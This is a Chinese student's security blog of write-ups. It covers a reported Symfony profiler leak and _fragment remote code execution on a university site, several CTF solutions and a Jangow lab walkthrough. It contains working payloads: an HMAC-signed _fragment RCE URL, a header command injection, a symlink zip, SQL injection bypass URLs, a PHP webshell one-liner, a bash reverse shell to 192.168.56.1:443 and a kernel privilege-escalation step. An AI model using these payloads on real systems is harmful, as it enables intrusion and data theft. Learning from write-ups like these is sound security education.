记第一次edu-src漏洞挖掘

第一次挖到edu-src的漏洞(一直很羡慕别的师傅可以挖到现实生活中的漏洞、拿到证书!!都快羡慕死了),非常激动开心啦!!!达成了从0到1!!!还是武汉大学的漏洞啦!(选择武汉大学的原因是因为挺多好朋友在武汉大学的):

先用fofa搜索武汉大学相关站点,找到比较偏僻的一个站点,这里用http://example.com来替代

然后开始渗透测试!!,先尝试了admin:123456登录发现失败,然后开始尝试弱口令密码登录,发现次数变多后就不行了,于是又检查很多很多(指在网站漫无目的的闲逛摆烂),然后还是不行:sob:,然后用dirsearch开扫了一下(下次注意不能扫太暴力,要不自己容易被封,就被封了一个IP,后面改成热点才好一点),

发现了以下有效路径:

14KBlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
200     3KB  http://example.com/.htaccess
302 270B http://example.com/_fragment -> REDIRECTS TO: /login
302 270B http://example.com/admin -> REDIRECTS TO: /login
302 270B http://example.com/admin/ -> REDIRECTS TO: /login
200 51KB http://example.com/app.php
500 0B http://example.com/app_dev.php
200 23KB http://example.com/article
200 0B http://example.com/article/admin
403 46B http://example.com/config.php
200 369B http://example.com/crossdomain.xml
200 20KB http://example.com/favicon.ico
200 23KB http://example.com/group
500 13KB http://example.com/hello
200 23KB http://example.com/login
302 350B http://example.com/logout -> REDIRECTS TO: http://example.com/login
200 22KB http://example.com/mobile
200 74B http://example.com/page
200 24KB http://example.com/register
200 105B http://example.com/robots.txt
200 24KB http://example.com/search
302 270B http://example.com/settings -> REDIRECTS TO: /login
200 21KB http://example.com/tag
200 3B http://example.com/uploader
200 0B http://example.com/user/0
200 25KB http://example.com/user/2
200 0B http://example.com/user/1
200 0B http://example.com/user/admin
200 0B http://example.com/user/3
200 0B http://example.com/user/login.jsp
200 0B http://example.com/user/login.html
200 0B http://example.com/user/login.aspx
200 0B http://example.com/user/signup

然后发现了.htaccess、robots.txt、crossdomain.xml等信息泄露路径,然后当时到太晚了,就把这个当信息泄露提交了(想着水一下第一个洞),结果果然失败了,给了一个这样的评价:审核评价: 无明显敏感内容或进一步利用证明,危害不足。

果然摸鱼混漏洞的想法是不正确的哈,还是要认认真真挖一些有价值的漏洞呀

过两天又重振旗鼓开始挖掘该域名,然而在一阵挖掘后,并没有发现半点的惊喜。于是小陈师傅(fw)准备关闭浏览器然后下班,可是就在最后一个浏览页的界面,突然发现到了一些奇怪的东西,在http://example.com/app_dev.php的下面竟然有一个调试窗口,我很懵逼不知道这个是干什么的,点开之后是这样(因为原有网站已被关闭,所以从网上找了一些其他类似的图)

img

img

从这里我拿到了phpinfo的所有值,连忙把这个东西提交了,提交为信息泄露,可是却得到了这样的评价:审核评价: 无明显敏感内容或进一步利用证明,危害不足。

怎么中国edu-src拿个漏洞这么严!!!phpinfo都不算信息泄露

然后我发现了这篇博客,这里吐槽一下:国外的优质博客是真的多,可惜有的时候比较急的时候要用翻译,不急的情况下感觉可以慢慢看、垃圾的英语水平!!然后我在这篇博客下学到这个利用方式:

1
我找到了Symfony 3.4版本数据库默认配置文件位置,即***app/config/parameters.yml\***

于是我打开这个网址/app_dev.php/_profiler/open?file=app/config/parameters.yml

然后GET到了一些数据库的账号密码、还有一些其他的东西,大概如下这样:

img

然后赶紧把这个信息泄露提交了(当时我的想法是:不敢仔细看这个数据,感觉能得到一个中等的rank),然后就把这个漏洞提交了,然而只拿到了rank2,然后也很激动的发了pyq、

我很不服于只有rank2:sob:,于是问了教育平台的管理员莫言这个漏洞怎么只有rank2,感觉泄露了很多关键的账号密码信息、然后得到了回复:不能利用的文件,只有这个分数,你要证明这个文件可以利用!!!:sob:,原本其实自己也在打马虎眼,想着有了账号密码就可以摆烂了!!!随便水水报告就行了,谁知道还要去证明其可以利用:然后就开始了小陈师傅的利用之旅

我先看到了几个端口的开放情况,发现关键的端口都是被封闭的!!!怎么把路给我封死了啊!然后我注意到一个点:里面有一个secret字段在 secret: ThisTokenIsNotSoSecretChangeIt

我原本一直以为这是数据库的认证方式,比如密钥什么的。然后我就开始了新的google搜索!!!然后我发现了宝藏

在我搜索symfony secret 的利用然后弹出来下面这个网站:

https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-web/symphony/~/comments

一开始一看全黑,还懒得看,还好我看了

然后我点开第一个博客,然后我发现了这一个是宝藏

可惜他是全英的,我只能把他翻译了然后去看,然后我注意到这个框架用于/_fragment运行任意代码,而且是基于secret,我当时还没把这个secret和我的secret联想起来,直到我看到这个

他妈的,这个secret跟我的secret不是刚好的一样吗,妈的

然后我扫到了这个,我当时还在php中的环境中找secret,殊不知secret已经被我获取了

然后思路就豁然开朗了!我拿到secret就可以用这个文章所运用的方法来实现RCE了,实现成功的时候激动的手在颤抖

下面是文章中的例子,这里localhost:8000是例子中的域名,50c8215b436ebfcc1d568effb624a40e是secret

通过检查http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8=,我们现在有了一个404状态代码。签名是正确的,但我们没有指定任何请求属性,因此 Symfony 找不到我们的控制器。

由于我们可以使用任何参数调用任何方法,因此我们可以例如 pick system($command, $return_value),并提供如下所示的有效负载:

1
2
3
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'50c8215b436ebfcc1d568effb624a40e', b'$page', hashlib.sha256).digest()))"
b'GFhQ4Hr1LIA8mO1M/qSfwQaSM8xQj35vPhyrF3hvQyI='

我们现在可以访问漏洞利用 URL:http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M/qSfwQaSM8xQj35vPhyrF3hvQyI=

然后我们会发现我们的命令被成功执行了:

img

发现这个漏洞让我特别兴奋,人生中的第一个RCE漏洞,赶紧提交了然后发了pyq、感觉非常兴奋,当天晚上熬了很久,但是很奇怪,过了一段时间后这个网站就貌似被关了,然后一直也打不开,我的想法是因为我提交的第一个信息泄露的漏洞让作者关闭了网站。

但是在我焦急的几天等待后,我发现我提交的这个漏洞被通过了,长舒一口气,感觉可能是审核者在网站没有关的时候成功复现了我的这个漏洞。于是给我了同意,但是为什么这么晚才同意啊,这几天快吓死我了,还在想着怎么跟踪这个网站blabla,总归是有惊无险的拿下了RCE(注意以后挖洞也注意法律,不要违背法律的界限)、也终究是走出了现实生活中挖洞的第一步、、cyy以后加油

image-20240212222041562

可惜忘把图标下载下来了,要不感觉可以批量刷一下:sob:

EnableMe

给了一个docm后缀的文件。然后搜索得知 启用宏的Microsoft Word 文档

宏也就是可以执行一些代码(也就是用于勒索)

这里打开后然后出现了一个

img

意思是被勒索了是吧hhh

然后查看宏文件,这里可以利用olevba来查看文件,丢一篇这个软件的介绍然后即可分析

img

然后在word里面编辑

即可弹出flag

easy_tables

比较懒直接放exp吧

照着别人的wp手敲一份感觉对于python的理解都变深了好多,感觉比重新构建一个数据库简单的多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import csv
import time
# 分别打开四个csv文件
lists = ['users','permissions','tables','actionlog']
with open('users.csv', 'r', encoding="utf-8") as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
users = list_of_csv
with open('permissions.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
permissions = list_of_csv
with open('tables.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
tables = list_of_csv
with open('actionlog.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
actionlog = list_of_csv

name_ti = 0
per_ti = 0
flag = ''
for log in actionlog[1:]:
log_id = log[0]
log_name = log[1]
log_time = log[2].split(' ')[1]
log_opt = log[3]

for users_A in users[1:]:
users_id = users_A[0]
users_name = users_A[1]
users_per = users_A[3]
if users_name == log_name:
name_ti = 0

for per_A in permissions[1:]:
per_id = per_A[0]
per_qx = per_A[2]
per_table = per_A[3]

if users_per == per_id:
log_opt_list = log_opt.split(' ')
per_table_list = per_table.split(',')
# 对每个表进行遍历
for tb in tables[1:]:
print(tb)
tb_id = tb[0]
tb_name = tb[1]
tb_time = tb[2].split(",")
#先找出操作的表
#且操作的表应该在可允许的表中
if tb_name in log_opt_list:
if tb_id in per_table_list:
if log_opt_list[0] in per_qx:
try:
tb_time_1 = tb_time[0].split('~')
tb_time_2 = tb_time[1].split('~')
if tb_time_1[0] < log_time < tb_time_1[1] or tb_time_2[0] < log_time < \
tb_time_2[1]:
pass
else:
print('编号:',log_id,"账户不在规定时间内操作",
users_id+'_'+per_id+'_'+tb_id+'_'+log_id)
flag +=users_id+'_'+per_id+'_'+tb_id+'_'+log_id
except:
tb_time = tb_time[0].split("~")
if tb_time[0] < log_time < tb_time[1]:
pass
else:
print('编号:', log_id, '账户不在规定时间内操作操作',
users_id + '_' + per_id + '_' + tb_id + '_' + log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
else:
print('编号:', log_id, '为对表执行不属于其权限的操作',
users_id + '_' + per_id + '_' + tb_id + '_' + log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
else:
print('编号:', log_id, '为对不可操作的表执行操作',
users_id + '_' + per_id + '_' + tb_id + '_' + log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
break
break
break
else:
name_ti += 1
if name_ti == len(users[1:]):
print('编号:', log_id, '为不存在用户操作', '0_0_0_' + log_id)
flag += '0_0_0_' + log_id + ','
name_ti = 0
flag = flag.split(',')
flag = sorted(flag)
flag = ','.join(str(fla) for fla in flag)
print(flag)

easy_raw

感觉要在取证的路上越走越远了hhh

先分析raw文件的系统

1
vol.py -f rawraw.raw imageinfo

然后发现是Win7SP1x64,从此以后都要加上–profile=Win7SP1x64 了

然后查看进程

1
vol.py -f rawraw.raw --profile=Win7SP1x64 pslist

发现可疑进程 WinRAR.exe和 VeraCrypt.exe

然后查看cmdline

1
vol.py -f rawraw.raw --profile=Win7SP1x64 cmdline

发现Command line : “C:\Program Files\WinRAR\WinRAR.exe” “C:\Users\Administrator\Documents\pass.zip”

把一个pass.zip压缩了,把这个进程dump出来

1
vol.py -f rawraw.raw --profile=Win7SP1x64 mendump -p 2088 -D output_directory

然后发现一个pass.txt加密的

img

然后有个提示为Have a good New Year!!!

然后输入新年的那一天

20240210

然后破解成功

然后查看编辑栏 clipboard -v 获得secret的密码为

img

密码为 DasrIa456sAdmIn987使用密码 DasrIa456sAdmIn987 对 mysecretfile.rar 进行解压,获得 mysecretfile 文件

然后感觉为VeraCrypt加密

VeraCrypt 是一个开源的磁盘加密工具,用于创建加密容器和加密整个磁盘分区。它是 TrueCrypt 项目的继任者

然后把pass.txt当做密钥解密发现一个data.xslk然后用vol的插件mimikatz即可获取密码,打开搜索flag即可获得

这里吐槽一下mimikatz这个插件装了好久!!!啊啊啊python2的东西装的好麻烦啊

要不是mimikatz太重要了,一定就去用系统配置的了

Intigriti CTFBug Report Repo

挺难的一道题,也挺有意思的一道题,发篇博客复现一下,主要考察webscoket注入+JWT伪造

先打开一下环境

然后发现是一个基于websocket实时通讯的一个bug report平台,这里输入一个ID,然后服务器即可返回将这个高亮

需要注意的是ID=11的时候有一个好玩的显示,感觉这里的ethical_hacker是提示

然后可以用bp抓包其实感觉websocket的抓包和普通的sql注入是差不多的?

这里又做了下载bp的破解版+给chrome导入bp的证书,突然发现bp是可以截取webscoket信息的,比在js上调试好多了,不知道为什么bp截取https总会很慢 不知道是网站问题还是我bp的问题(略微倾向一点网站的问题)真的好奇怪 就我改成系统代理立马就好了,但是用bp的代理就会卡很久、但是最后还是好了,不懂

然后可以用sqlmap进行注入分析,sqlmap真是神

1
sqlmap --random-agent -u 'wss://bountyrepo.ctf.intigriti.io/ws' --data '{"id":"11"}' --dbms sqlite -T "bug_reports" --threads 10 --dump --where "id=11" --batch

这些参数的介绍

  • -random-agent:指随机agent
  • -u:后面加URL,这里是指webscoket的服务器端
  • -data:sqlmap 中的 -d--data 参数用于指定要用于 POST 请求的数据。在 Web 应用程序渗透测试中,你可能会遇到需要检测和利用 POST 请求中的 SQL 注入漏洞的情况。使用 -d 参数,你可以向 sqlmap 提供 POST 请求的数据,以便它能够分析和测试可能存在的 SQL 注入漏洞。
  • -dbms:指数据库
  • -T: 应该是table
  • –threads:指多线程
  • –dump:指将数据展示出来

然后即可注出漏洞!感觉脚本小子真好

发现这个:crypt0:c4tz on /4dm1n_z0n3, really?!

然后登录

https://bountyrepo.ctf.intigriti.io/4dm1n_z0n3/

输入账号和密码

然后发现不是admin,然后查看cookie发现是jwt

然后用jwt tools爆破获取密钥(这里顺手下了个kali的wordlist)

这里加个插曲,平时一个人用root跟普通用户习惯了,忘记普通用户的python环境和root不一样了

爆破出来密钥为catsarethebest,然后伪造admin

修改cookie即可获得flag

go搭建chatroom

大概记录一下计网大作业的一些事

刚好想学一门新的语言然后就选择了用go搭建一个在线聊天室

可能还没有对go了解比较深,所以对go的感觉只有一个(erro处理太麻烦:sob:)

项目地址丢在了:https://github.com/cyny666/chatroom

主要是通过websocket协议然后实现聊天室的一个用户端和服务器端,用户端是用js实现的,服务器端是用go实现的,这里吐槽一下两种语言的调试是真的麻烦

记录一个解决了几个小时出现的bug(也是找了好久)

服务器端的代码部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private_message := Message{
Type: "text",
Content: fmt.Sprintf("%s%s", "(私聊)"+nickname_message.Content, ":") + string(message.Content),
}
json_private, err := json.Marshal(private_message)
if err != nil {
log.Println("JSON编组错误:", err)
// 根据情况处理错误,例如返回或记录并继续
continue
}

for _, u := range users {
if u.Name == message.Type || u.ID == userID {
// 使用WriteMessage发送字节数组而非WriteJSON
err := u.Conn.WriteJSON(json_private)
if err != nil {
log.Println("发送消息错误:", err)
}
log.Println(string(json_private))
}
}

这里主要是加了一个私聊的功能,但是在客户方面返回的结果如下

就很奇怪预期的data应该是一个json结构的式子,后面把u.Conn.WriteJSON(json_private)改为WriteMessage即可解决问题了

然后开始去找问题的出现,发现google搜索无果于是去找源码了,经过大佬点拨发现这个

JSON的加密时Marshal

Array and slice values encode as JSON arrays, except that []byte encodes as a base64-encoded string, and a nil slice encodes as the null JSON value.

指的是[]byte会被base64编码

把data base64解码后得到

妈的想了半天终于懂了

我是先用json编码 json_private, err := json.Marshal(private_message)

这里的json_private为二进制数据,然后这里的string(json_private)也是正确的

然后直接用WriteJSON会有问题,然后用WriteMessage应该是会自动进行string转化的

WriteJSON writes the JSON encoding of v as a message.

WriteJSON调用了一次Marshal所以会把byte[]给搞成base64加密

BeginCTF WriteUp

感觉还是太菜了,最后甚至没有进前100,也有投入时间一般的原因,学一点其他方向然后后面方便打校赛吧

Web

Popgadget

https://bbs.kanxue.com/thread-271714.htm

wc,对于php的各种pop链还是太生疏了

zupload

审计源码然后将action改为/flag即可获取flag

zupload-pro

直接用php伪协议读取php://filter/read=convert.base64-encode/resource=/flag

zupload-pro-plus-max

一直在卡我的题目,后面看了wp才知道include解析zip包中的php代码即可

zupload-pro-max

同样用php伪协议读取php://filter/read=convert.base64-encode/resource=/flag

zupload-pro-plus-max-ultra

代码中有

1
2
3
4
5
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

...

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

直接往 Header 中传入 X-EXTRACT-TO: .; cat /flag > flag.txt 随便上传个文件,然后访问 /flag.txt 把 Flag 下载下来就行了。

zupload-pro-plus-max-ultra-premium

这题是 Unzip 软链接漏洞,先准备个 Payload:

1
2
3
touch /flag
ln -s /flag flag
zip --symlinks payload.zip flag

上传后再下载 /uploads/flag 就行了。

sql教学局

感觉比较简单的sql注入!甚至有回显

主要是用双写和/**/绕过空格,感觉跟信息安全综合实践二的web题差不多

flag
第一段:flag{f5729aaa-
http://101.32.220.189:31777/challenge.php?user=1'/**/union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd%23
第二段:3d49-475e-9731 http://101.32.220.189:31777/challenge.php?user=1'/**/union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23
第三段:-e15fd5d2891d}
爆字段:
http://101.32.220.189:32067/challenge.php?user=1'/**/union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'%23
flag{f5729aaa-3d49-475e-9731-e15fd5d2891d}

Misc

tupper

先base64再

tupper解密

check ln

直接base32转码

devils’s word

先转换语言,然后搜索发现是温州话,之前找到过魔鬼语言温州话,但是没具体往下走

1
2
3
4
5
6
7
8
9
10
11
12
13
with open("devil's word.txt", 'r') as f:
data = f.read().strip().split(' ')

table = {
'leng': '0', 'lia': '2', 'sa': '3', 'sii': '4', 'bo': '8',
'ng': '5', 'leu': '6', 'cai': '7', 'jau': '9',
'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd', 'e': 'e', 'f': 'f'}

result = b''
for i in range(0, len(data), 2):
result += bytes([int(table[data[i]]+table[data[i + 1]], 16)])

print(result.decode())

where is crazyman 1.0

直接google搜图然后发现为秋叶原

where is crazyman v2.0

直接google搜图找到facebook

然后发现即可

Crypto

感觉对RSA算法的理解有问题

这是一个多素数RSA算法问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
import gmpy2

def fakeN_list():
puzzle_list = []

for i in range(15):
r = getPrime(32)
puzzle_list.append(r)

p = getPrime(32)
q = getPrime(32)
com = p * q

puzzle_list.append(com)

return puzzle_list

def encrypt(m, e, fake_n_list):
fake_n = 1
for i in range(len(fake_n_list)):
fake_n *= fake_n_list[i]

really_n = 1
for i in range(len(fake_n_list) - 1):
really_n *= fake_n_list[i]

c = pow(m, e, really_n)

print("c =", c)
print("fake_n =", fake_n)

e = 65537
r_s = [3244171123, 3702684709, 3072724321, 4018595311, 3724163987, 3020377819, 3771381161, 2785127861, 3892394453, 2884753607, 3784497139, 3794842819, 3122320321, 3961291277, 2753880739, 3057624863, 3108016309]
c = 65357276094579455978357225670976535341727886147857522808384849982116709060700184781790632917498365870903934069344805591544583535937894022934706
fake_n = 914762571999137286435259336379720674119704253903171474927358573188112683048519393703661411927034789214975261873387988753423525574742149601424917938820732224411251
flag_real = "flag{test}".encode()
m = bytes_to_long(flag_real)

for p in r_s:
for q in r_s:
if q == p:
continue
else:
really_n = int(fake_n // (p * q))
new_list = [x for x in r_s if x not in {p, q}]
phi = 1
for i in new_list:
phi *= i-1
d = gmpy2.invert(e, phi)
flag = pow(c, d, really_n)
print(flag)
print(long_to_bytes(flag))

Forensics

Begin Forensics

直接网上搜到一个解混淆的脚本,然后一跑即可发现flag

逆向工程(reverse)入门指南

有不可见字符,直接复制粘贴出来即为flag

学取证咯 - cmd

直接cmdline可以发现flag

学取证咯-还记得ie吗学取证咯 - 还记得 ie 吗?

$ vol.py -f 学取证咯.raw –profile=Win7SP1x64 iehistory

学取证咯 - 计算机的姓名?

$ vol.py -f 学取证咯.raw –profile=Win7SP1x64 printkey -K “ControlSet001\Control\ComputerName\ComputerName”

学取证咯 - 想登录我的计算机吗?

mimikatz一把梭

1
vol.py -f 学取证咯.raw --profile=Win7SP1x64 mimikatz

学取证咯 - 机密文件

filescan 扫描到桌面有个机密文件.docx,dump 下来打开就是了

学取证咯 - 真的是取证吗?

关键逻辑如下:

桌面有个 flag_is_here.exe, dump 下来,ida 搜 flag 然后交叉引用找到关键函数,发现就一个简单的异或 FLAG_KEY 不知道,直接根据密文的第一位和 flag 的 f 异或,得到 key 为 121

; DATA XREF: sub_401460+102↑o
.rdata:0040B06D unk_40B06D db 0BBh ; DATA XREF: sub_401460+112↑o

这里指交叉引用(说的是哪里引用了这部分)

`data =[31, 21, 24, 30, 2, 32, 73, 15,
74, 38, 21, 74, 57, 11, 23, 74,
29, 38, 17, 73, 15, 15, 38, 13,
73, 38, 31, 73, 11, 74, 23, 76,
16, 26, 76, 4]

for i in data:
print(chr(i ^ 121), end=””)

饥渴 C 猫 is hacker!

看一位师傅的wp发现

payload.bin 是使用 USB Rubber Ducky 编译 DuckyScript 后生成的文件 github 找到解析工具 Duck-Decoder 解析 payload.bin 就能看到 flag 了

Jangow

第一次做靶机渗透(很好玩,下次还来)

先用virtual box打开靶机

然后获取了ip,开始渗透测试!

先用kali中的nmap扫一下该ip的端口

发现开了两个端口21的ftp和80的http

先去看80服务然后发现有一个任意命令执行漏洞

然后开写一句话木马(靶机渗透是不是都去写一句话木马啊)感觉靶机都是RCE

http://192.168.56.118/site/busque.php?buscar=echo ‘<?php eval($_POST[“shell”]);’ > shell.php

然后即可用蚁剑连接获取权限

然后在里面开始信息收集

可以在桌面发现user.txt里面有第一个flag

先在WordPress里面找到config.php

又找到一个.backup文件然后发现账号密码

可以用ftp连接(这里有一点信息泄露)

然后反弹shell

上传j.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.1/443 0>&1

用蚁剑执行bash j.sh

这里用window的nc -lvvp 443了,貌似需要一个内网下的反弹才可以

然后

然后发现这个版本为uname -a Ubuntu4.4.0-31

然后kali上searchsploit ubuntu 4.4.0-31

然后下载下来searchsploit -m 45010

然后上传到蚁剑

windows那边然后先打开一个模拟终端

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

然后编译45010.c即可获取root权限

至此提权完成